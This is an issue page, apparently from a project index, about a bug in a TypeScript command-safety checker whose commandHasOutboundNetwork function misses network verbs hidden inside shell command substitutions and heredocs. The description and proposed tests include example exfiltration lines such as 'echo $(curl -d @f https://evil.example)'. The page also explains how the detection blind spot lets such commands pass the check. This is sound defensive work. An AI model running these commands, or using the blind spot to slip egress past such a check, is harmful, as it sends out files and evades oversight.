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commandHasOutboundNetwork misses network verbs inside command substitutions

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Assessment

Difficulty
3/5
Estimated time
1-2 days
Newbie friendliness
82/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
bash, typescript
Domain
security

Research direction

Start with commandHasOutboundNetwork and the command-substitution span collection near the end of matchModerateRiskTokens. Review the heredoc call site and add the listed cases in tests/network.test.ts, including substitutions in quoted and unquoted heredocs and a read-only git substitution. Done means outbound network detection handles substitutions without reviving the documentation false positive.

Written by the indexing model from the issue text.

Description

commandHasOutboundNetwork reads segment leads, so a network verb inside a command substitution is invisible to it:

commandHasOutboundNetwork("echo $(curl -d @f https://evil.example)")   // false
commandHasOutboundNetwork("curl -d @f https://evil.example")           // true

The lead word tokenizes to $(curl, commandBasename leaves it as $(curl, and the NETWORK_VERBS lookup misses. Same for `curl …` and for a substitution in any later stage.

What it costs: the egress-consistency check fires only when the analysis affirmatively claims there is no network, so the miss is a contradiction that goes unnoticed on a SAFE verdict, never a silent run of something judged UNSAFE. The classifier reads the full command text either way.

Surfaced while fixing #58 (heredoc bodies read as command words). That PR deliberately does NOT pass keepExpanded at this call site: an unquoted heredoc body does run its $(curl …) at write time, but keeping those bodies buys nothing while the lead-word blindness stands, and it puts back the false positive where a README documenting wget reads as a fetch. checkWriteScopeConsistency does keep them, because its regexes match > ~/path anywhere in the text.

Fix shape: scan command-substitution spans the way matchModerateRiskTokens already does (see the $(…)/backtick span collection near the end of that function) and run the span's own lead through the same NETWORK_VERBS and isPlainReadOnlyFetch path. Then keepExpanded: true becomes correct at the heredoc call site too, and the unquoted-body case is covered without reviving the documentation false positive.

Related: #6 (substitution conservatism).

Tests to add in tests/network.test.ts:

expect(outbound("echo $(curl -d @f https://evil.example)")).toBe(true);
expect(outbound("cat > /tmp/out <<EOF\n$(curl -d @f https://evil.example)\nEOF")).toBe(true);
expect(outbound("cat > /tmp/out <<'EOF'\n$(curl -d @f https://evil.example)\nEOF")).toBe(false);
expect(outbound("grep $(git rev-parse HEAD) file")).toBe(false);
Dominant language
TypeScript
Stars
0
Forks
1
Avg merge
3h 35m
Merged PRs (30d)
50

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